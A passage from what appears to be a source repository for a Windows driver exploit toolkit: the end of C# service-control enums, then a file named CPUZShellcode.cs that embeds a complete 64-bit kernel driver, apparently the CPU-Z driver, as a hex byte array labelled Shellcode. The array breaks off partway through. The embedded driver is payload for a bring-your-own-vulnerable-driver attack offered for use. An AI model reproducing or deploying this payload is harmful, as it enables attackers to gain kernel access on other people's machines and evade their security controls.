internal enum SERVICE_TYPE : int
{
SERVICE_KERNEL_DRIVER = 0x00000001,
SERVICE_FILE_SYSTEM_DRIVER = 0x00000002,
SERVICE_WIN32_OWN_PROCESS = 0x00000010,
SERVICE_WIN32_SHARE_PROCESS = 0x00000020,
SERVICE_INTERACTIVE_PROCESS = 0x00000100
}
[Flags]
public enum SERVICE_CONTROL : uint
{
STOP = 0x00000001,
PAUSE = 0x00000002,
CONTINUE = 0x00000003,
INTERROGATE = 0x00000004,
SHUTDOWN = 0x00000005,
PARAMCHANGE = 0x00000006,
NETBINDADD = 0x00000007,
NETBINDREMOVE = 0x00000008,
NETBINDENABLE = 0x00000009,
NETBINDDISABLE = 0x0000000A,
DEVICEEVENT = 0x0000000B,
HARDWAREPROFILECHANGE = 0x0000000C,
POWEREVENT = 0x0000000D,
SESSIONCHANGE = 0x0000000E
}
public enum SERVICE_STATE : uint
{
SERVICE_STOPPED = 0x00000001,
SERVICE_START_PENDING = 0x00000002,
SERVICE_STOP_PENDING = 0x00000003,
SERVICE_RUNNING = 0x00000004,
SERVICE_CONTINUE_PENDING = 0x00000005,
SERVICE_PAUSE_PENDING = 0x00000006,
SERVICE_PAUSED = 0x00000007
}
[Flags]
public enum SERVICE_ACCEPT : uint
{
STOP = 0x00000001,
PAUSE_CONTINUE = 0x00000002,
SHUTDOWN = 0x00000004,
PARAMCHANGE = 0x00000008,
NETBINDCHANGE = 0x00000010,
HARDWAREPROFILECHANGE = 0x00000020,
POWEREVENT = 0x00000040,
SESSIONCHANGE = 0x00000080,
}
}
}
}
================================================
FILE: Driver Exploit/CPUZShellcode.cs
================================================
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace DriverExploits
{
public static class CPUZShellcode
{
public static byte[] Shellcode = new byte[]
{
0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE8, 0x00, 0x00, 0x00, 0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD, 0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68, 0x69, 0x73, 0x20, 0x70, 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F, 0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20, 0x44, 0x4F, 0x53, 0x20, 0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x03, 0xF1, 0x3C, 0x9B, 0x47, 0x90, 0x52, 0xC8, 0x47, 0x90, 0x52, 0xC8, 0x47, 0x90, 0x52, 0xC8, 0x47, 0x90, 0x53, 0xC8, 0x5C, 0x90, 0x52, 0xC8, 0x4E, 0xE8, 0xC1, 0xC8, 0x42, 0x90, 0x52, 0xC8, 0x4E, 0xE8, 0xD1, 0xC8, 0x41, 0x90, 0x52, 0xC8, 0x4E, 0xE8, 0xDB, 0xC8, 0x46, 0x90, 0x52, 0xC8, 0x4E, 0xE8, 0xC7, 0xC8, 0x43, 0x90, 0x52, 0xC8, 0x4E, 0xE8, 0xC6, 0xC8, 0x46, 0x90, 0x52, 0xC8, 0x4E, 0xE8, 0xC3, 0xC8, 0x46, 0x90, 0x52, 0xC8, 0x52, 0x69, 0x63, 0x68, 0x47, 0x90, 0x52, 0xC8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00, 0x64, 0x86, 0x06, 0x00, 0x3B, 0x46, 0x34, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x00, 0x22, 0x00,
0x0B, 0x02, 0x09, 0x00, 0x00, 0x42, 0x00, 0x00, 0x00, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x80, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x06, 0x00, 0x01, 0x00, 0x06, 0x00, 0x01, 0x00, 0x06, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA0, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x55, 0x5C, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0x80, 0x00, 0x00, 0x3C, 0x00, 0x00, 0x00,
0x00, 0x90, 0x00, 0x00, 0x50, 0x03, 0x00, 0x00, 0x00, 0x70, 0x00, 0x00, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x54, 0x00, 0x00, 0x40, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x50, 0x00, 0x00, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, 0x06, 0x3A, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x00, 0x3C, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x68, 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x8C, 0x04, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x48, 0x2E, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x00, 0x40, 0x04, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0xC8, 0x2E, 0x70, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x70, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x48, 0x49, 0x4E, 0x49, 0x54, 0x00, 0x00, 0x00, 0x00, 0x0E, 0x04, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x4A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0xE2, 0x2E, 0x72, 0x73, 0x72, 0x63, 0x00, 0x00, 0x00, 0x50, 0x03, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xD9, 0x4C, 0x8D, 0x44, 0x24, 0x48, 0x48, 0x8D, 0x54, 0x24, 0x38, 0x48, 0x8D, 0x4C, 0x24, 0x40, 0x45, 0x33, 0xC9, 0xFF, 0x15, 0x4F, 0x40, 0x00, 0x00, 0x44, 0x8B, 0x5C, 0x24, 0x40, 0x41, 0x83, 0xFB, 0x05, 0x75, 0x10, 0x83, 0x7C, 0x24, 0x38, 0x00, 0x75, 0x16, 0x8B, 0x43, 0x24, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0x41, 0x83, 0xFB, 0x06, 0x75, 0x10, 0x83, 0x7C, 0x24, 0x38, 0x04, 0x74, 0x16, 0x8B, 0x43, 0x20, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0x41, 0x83, 0xFB, 0x0A, 0x75, 0xF1, 0x83, 0x7C, 0x24, 0x38, 0x00, 0x75, 0xEA, 0x81, 0x7C, 0x24, 0x48, 0xBB, 0x37, 0x00, 0x00, 0x72, 0xE0, 0x8B, 0x43, 0x28, 0x48, 0x83, 0xC4, 0x20,
0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xD9, 0x4C, 0x8D, 0x44, 0x24, 0x48, 0x48, 0x8D, 0x54, 0x24, 0x38, 0x48, 0x8D, 0x4C, 0x24, 0x40, 0x45, 0x33, 0xC9, 0xFF, 0x15, 0xCF, 0x3F, 0x00, 0x00, 0x44, 0x8B, 0x5C, 0x24, 0x40, 0x41, 0x83, 0xFB, 0x06, 0x75, 0x11, 0x83, 0x7C, 0x24, 0x38, 0x04, 0x74, 0x17, 0x48, 0x8B, 0x43, 0x08, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0x41, 0x83, 0xFB, 0x0A, 0x75, 0xF0, 0x83, 0x7C, 0x24, 0x38, 0x00, 0x75, 0xE9, 0x81, 0x7C, 0x24, 0x48, 0xBB, 0x37, 0x00, 0x00, 0x72, 0xDF, 0x48, 0x8B, 0x03, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xD9, 0x4C, 0x8D, 0x44, 0x24, 0x48, 0x48, 0x8D, 0x54, 0x24, 0x38, 0x48, 0x8D, 0x4C, 0x24, 0x40, 0x45, 0x33, 0xC9, 0xFF, 0x15, 0x5F, 0x3F, 0x00, 0x00, 0x44, 0x8B, 0x5C, 0x24, 0x40, 0x41, 0x83, 0xFB, 0x06, 0x75, 0x0F, 0x83, 0x7C, 0x24, 0x38, 0x04, 0x74, 0x15, 0x33, 0xC0, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0x41, 0x83, 0xFB, 0x0A, 0x75, 0xF2, 0x83, 0x7C, 0x24, 0x38, 0x00, 0x75, 0xEB, 0x81, 0x7C, 0x24, 0x48, 0xBB, 0x37, 0x00, 0x00, 0x72, 0xE1, 0x48, 0x8B, 0x43, 0x20, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x7C, 0x24, 0x10, 0x8B, 0xDA, 0x45, 0x33, 0xDB, 0x4C,
0x8D, 0x05, 0xCA, 0x4F, 0x00, 0x00, 0x48, 0x8D, 0x3D, 0xC3, 0x52, 0x00, 0x00, 0x0F, 0x1F, 0x00, 0x4D, 0x8B, 0x48, 0xF0, 0x49, 0x3B, 0xC9, 0x72, 0x19, 0x45, 0x8B, 0x10, 0x4D, 0x03, 0xD1, 0x49, 0x3B, 0xCA, 0x73, 0x0E, 0x48, 0x8D, 0x14, 0x19, 0x49, 0x3B, 0xD1, 0x72, 0x05, 0x49, 0x3B, 0xD2, 0x76, 0x19, 0x49, 0x83, 0xC0, 0x18, 0x41, 0xFF, 0xC3, 0x4C, 0x3B, 0xC7, 0x7C, 0xD2, 0x33, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x08, 0x48, 0x8B, 0x7C, 0x24, 0x10, 0xC3, 0x48, 0x8B, 0x5C, 0x24, 0x08, 0x48, 0x8B, 0x7C, 0x24, 0x10, 0x49, 0x63, 0xC3, 0x48, 0x8D, 0x0C, 0x40, 0x48, 0x8D, 0x05, 0x5D, 0x4F, 0x00, 0x00, 0x48, 0x8D, 0x04, 0xC8, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x38, 0x41, 0x83, 0xE0, 0x07, 0x83, 0xE2, 0x1F, 0xC7, 0x44, 0x24, 0x28, 0x04,
0x00, 0x00, 0x00, 0x41, 0xC1, 0xE0, 0x05, 0x44, 0x89, 0x4C, 0x24, 0x20, 0x4C, 0x8B, 0x4C, 0x24, 0x60, 0x44, 0x0B, 0xC2, 0x8B, 0xD1, 0xB9, 0x04, 0x00, 0x00, 0x00, 0xFF, 0x15, 0xDF, 0x3D, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x38, 0x48, 0x8B, 0x44, 0x24, 0x60, 0x41, 0x83, 0xE0, 0x07, 0x83, 0xE2, 0x1F, 0x41, 0xC1, 0xE0, 0x05, 0xC7, 0x44, 0x24, 0x28, 0x04, 0x00, 0x00, 0x00, 0x44, 0x89, 0x4C, 0x24, 0x20, 0x44, 0x0B, 0xC2, 0x8B, 0xD1, 0x4C, 0x8D, 0x4C, 0x24, 0x60, 0xB9, 0x04, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x60, 0xFF, 0x15, 0x9D, 0x3D, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x81, 0xEC, 0x80, 0x00, 0x00, 0x00, 0x49, 0x8B, 0xF8, 0x45, 0x33, 0xC0, 0x48, 0x8B, 0xF1, 0x48, 0x8D, 0x4C, 0x24, 0x68, 0x41, 0x8D, 0x50, 0x01, 0x41, 0x8B, 0xD9, 0xFF, 0x15, 0x8B, 0x3D, 0x00, 0x00, 0x48, 0x8D, 0x44, 0x24, 0x68, 0x4C, 0x8D, 0x5C, 0x24, 0x58, 0x4C, 0x89, 0x5C, 0x24, 0x40, 0x48, 0x89, 0x44, 0x24, 0x38, 0x8B, 0x84, 0x24, 0xB8, 0x00, 0x00, 0x00, 0xC6, 0x44, 0x24, 0x30, 0x00, 0x89, 0x44, 0x24, 0x28, 0x48, 0x8B, 0x84, 0x24, 0xB0, 0x00, 0x00, 0x00, 0x44, 0x8B, 0xCB, 0x4C, 0x8B, 0xC7, 0x48, 0x8B, 0xD6, 0xB9, 0x04, 0xC0, 0x32, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0xFF, 0x15, 0xCE, 0x3D, 0x00, 0x00, 0x48, 0x8B, 0xF8, 0x48, 0x85, 0xC0, 0x75, 0x07, 0xB8, 0x9A, 0x00, 0x00, 0xC0, 0xEB,
0x71, 0x48, 0x8B, 0xD0, 0x48, 0x8B, 0xCE, 0xFF, 0x15, 0x93, 0x3D, 0x00, 0x00, 0x8B, 0xD8, 0x3D, 0x03, 0x01, 0x00, 0x00, 0x75, 0x5A, 0x48, 0x8D, 0x44, 0x24, 0x50, 0x48, 0x8D, 0x4C, 0x24, 0x68, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0x33, 0xD2, 0x48, 0xC7, 0x44, 0x24, 0x50, 0xC0, 0xBD, 0xF0, 0xFF, 0x48, 0x89, 0x44, 0x24, 0x20, 0xFF, 0x15, 0x3C, 0x3D, 0x00, 0x00, 0x8B, 0xD8, 0x3D, 0x02, 0x01, 0x00, 0x00, 0x75, 0x27, 0x48, 0x8B, 0xCF, 0xFF, 0x15, 0x02, 0x3D, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x68, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0x33, 0xD2, 0x48, 0xC7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x0E, 0x3D, 0x00, 0x00, 0xEB, 0x04, 0x8B, 0x5C, 0x24, 0x58, 0x8B, 0xC3, 0x4C, 0x8D, 0x9C, 0x24, 0x80, 0x00, 0x00, 0x00, 0x49, 0x8B, 0x5B, 0x10, 0x49, 0x8B,
0x73, 0x18, 0x49, 0x8B, 0xE3, 0x5F, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4C, 0x8B, 0xDC, 0x49, 0x89, 0x5B, 0x10, 0x49, 0x89, 0x73, 0x18, 0x57, 0x48, 0x81, 0xEC, 0x00, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x05, 0x56, 0x4D, 0x00, 0x00, 0x48, 0x33, 0xC4, 0x48, 0x89, 0x84, 0x24, 0xF0, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x15, 0x44, 0xEC, 0xFF, 0xFF, 0x48, 0x8B, 0xF9, 0x48, 0x8D, 0x4C, 0x24, 0x70, 0x48, 0x8B, 0x82, 0x80, 0x49, 0x00, 0x00, 0x33, 0xF6, 0x48, 0x89, 0x01, 0x48, 0x8B, 0x82, 0x88, 0x49, 0x00, 0x00, 0x48, 0x89, 0x74, 0x24, 0x48, 0x48, 0x89, 0x41, 0x08, 0x48, 0x8B, 0x82, 0x90, 0x49, 0x00, 0x00, 0x48, 0x89, 0x41, 0x10, 0x48, 0x8B, 0x82, 0x98, 0x49, 0x00, 0x00, 0x48, 0x89, 0x41, 0x18, 0x48, 0x8B, 0x82, 0xA0, 0x49, 0x00, 0x00, 0x49, 0x8D, 0x4B,
0x88, 0x48, 0x89, 0x01, 0x48, 0x8B, 0x82, 0xA8, 0x49, 0x00, 0x00, 0x48, 0x89, 0x41, 0x08, 0x48, 0x8B, 0x82, 0xB0, 0x49, 0x00, 0x00, 0x48, 0x89, 0x41, 0x10, 0x48, 0x8B, 0x82, 0xB8, 0x49, 0x00, 0x00, 0x48, 0x89, 0x41, 0x18, 0x48, 0x8B, 0x82, 0xC0, 0x49, 0x00, 0x00, 0x48, 0x89, 0x41, 0x20, 0x48, 0x8B, 0x82, 0xD0, 0x49, 0x00, 0x00, 0x49, 0x8D, 0x4B, 0xB0, 0x48, 0x89, 0x01, 0x48, 0x8B, 0x82, 0xD8, 0x49, 0x00, 0x00, 0x48, 0x89, 0x41, 0x08, 0x48, 0x8B, 0x82, 0xE0, 0x49, 0x00, 0x00, 0x48, 0x89, 0x41, 0x10, 0x48, 0x8B, 0x82, 0xE8, 0x49, 0x00, 0x00, 0x48, 0x89, 0x41, 0x18, 0x48, 0x8B, 0x82, 0xF0, 0x49, 0x00, 0x00, 0x48, 0x89, 0x41, 0x20, 0x48, 0x8B, 0x82, 0xF8, 0x49, 0x00, 0x00, 0x48, 0x89, 0x41, 0x28, 0x8B, 0x82, 0x00, 0x4A, 0x00, 0x00, 0x89, 0x41, 0x30, 0x0F, 0xB7,
0x82, 0x04, 0x4A, 0x00, 0x00, 0x48, 0x8D, 0x54, 0x24, 0x70, 0x66, 0x89, 0x41, 0x34, 0x48, 0x8D, 0x4C, 0x24, 0x50, 0xFF, 0x15, 0x8F, 0x3B, 0x00, 0x00, 0x4C, 0x8D, 0x5C, 0x24, 0x48, 0x4C, 0x8D, 0x44, 0x24, 0x50, 0x4C, 0x89, 0x5C, 0x24, 0x30, 0x8D, 0x56, 0x04, 0x41, 0xB9, 0x40, 0x9C, 0x00, 0x00, 0x48, 0x8B, 0xCF, 0xC6, 0x44, 0x24, 0x28, 0x01, 0x89, 0x74, 0x24, 0x20, 0xFF, 0x15, 0xD5, 0x3B, 0x00, 0x00, 0x8B, 0xD8, 0x85, 0xC0, 0x0F, 0x88, 0xA8, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x40, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0x33, 0xD2, 0xFF, 0x15, 0xA0, 0x3B, 0x00, 0x00, 0x83, 0x7C, 0x24, 0x40, 0x05, 0x48, 0x8D, 0x84, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x94, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x60, 0x48, 0x0F, 0x42, 0xD0, 0xFF, 0x15,
0x24, 0x3B, 0x00, 0x00, 0x48, 0x8D, 0x54, 0x24, 0x50, 0x48, 0x8D, 0x4C, 0x24, 0x60, 0xFF, 0x15, 0x74, 0x3B, 0x00, 0x00, 0x8B, 0xD8, 0x85, 0xC0, 0x79, 0x12, 0x48, 0x8B, 0x4C, 0x24, 0x48, 0x48, 0x85, 0xC9, 0x74, 0x51, 0xFF, 0x15, 0x06, 0x3B, 0x00, 0x00, 0xEB, 0x49, 0x48, 0x8D, 0x05, 0x7D, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x0A, 0x4F, 0x00, 0x00, 0x48, 0x89, 0x87, 0xE0, 0x00, 0x00, 0x00, 0x48, 0x89, 0x87, 0x80, 0x00, 0x00, 0x00, 0x48, 0x89, 0x47, 0x70, 0x48, 0x8D, 0x05, 0xBD, 0x2E, 0x00, 0x00, 0x48, 0x89, 0x47, 0x68, 0x48, 0x8D, 0x05, 0xE6, 0x4B, 0x00, 0x00, 0x66, 0x90, 0x89, 0x70, 0xFC, 0x89, 0x30, 0x48, 0x89, 0x70, 0x04, 0x89, 0x70, 0x0C, 0x48, 0x83, 0xC0, 0x18, 0x48, 0x3B, 0xC1, 0x7C, 0xEB, 0x8B, 0xC3, 0x48, 0x8B, 0x8C, 0x24, 0xF0, 0x00, 0x00, 0x00, 0x48,
0x33, 0xCC, 0xE8, 0x49, 0x30, 0x00, 0x00, 0x4C, 0x8D, 0x9C, 0x24, 0x00, 0x01, 0x00, 0x00, 0x49, 0x8B, 0x5B, 0x18, 0x49, 0x8B, 0x73, 0x20, 0x49, 0x8B, 0xE3, 0x5F, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8B, 0xC4, 0x48, 0x89, 0x50, 0x10, 0x48, 0x89, 0x48, 0x08, 0x53, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x81, 0xEC, 0xF0, 0x02, 0x00, 0x00, 0x0F, 0x29, 0x70, 0xB8, 0x0F, 0x29, 0x78, 0xA8, 0x44, 0x0F, 0x29, 0x40, 0x98, 0x4C, 0x8B, 0xF2, 0x45, 0x33, 0xFF, 0x44, 0x89, 0x7A, 0x30, 0x4C, 0x89, 0x7A, 0x38, 0x48, 0x8B, 0x92, 0xB8, 0x00, 0x00, 0x00, 0x4D, 0x8B, 0x6E, 0x18, 0x80, 0x3A, 0x0E, 0x0F, 0x85, 0x6B, 0x2C, 0x00, 0x00, 0x8B, 0x42, 0x18, 0x3D,
0x00, 0x25, 0x40, 0x9C, 0x0F, 0x87, 0x31, 0x1A, 0x00, 0x00, 0x3D, 0x00, 0x25, 0x40, 0x9C, 0x0F, 0x84, 0x7C, 0x19, 0x00, 0x00, 0x05, 0x00, 0xDC, 0xBF, 0x63, 0x3D, 0xA8, 0x00, 0x00, 0x00, 0x0F, 0x87, 0x3A, 0x2C, 0x00, 0x00, 0x48, 0x8D, 0x3D, 0xD4, 0xE9, 0xFF, 0xFF, 0x0F, 0xB6, 0x84, 0x07, 0x08, 0x43, 0x00, 0x00, 0x8B, 0x8C, 0x87, 0xA0, 0x42, 0x00, 0x00, 0x48, 0x03, 0xCF, 0xFF, 0xE1, 0x83, 0x7A, 0x08, 0x08, 0x72, 0x40, 0x83, 0x7A, 0x10, 0x04, 0x72, 0x3A, 0x41, 0x8B, 0x4D, 0x00, 0x0F, 0x32, 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x0B, 0xC2, 0x8B, 0xC8, 0x48, 0xC1, 0xE8, 0x20, 0x41, 0x89, 0x4D, 0x00, 0x41, 0x89, 0x45, 0x04, 0x49, 0xC7, 0x46, 0x38, 0x08, 0x00, 0x00, 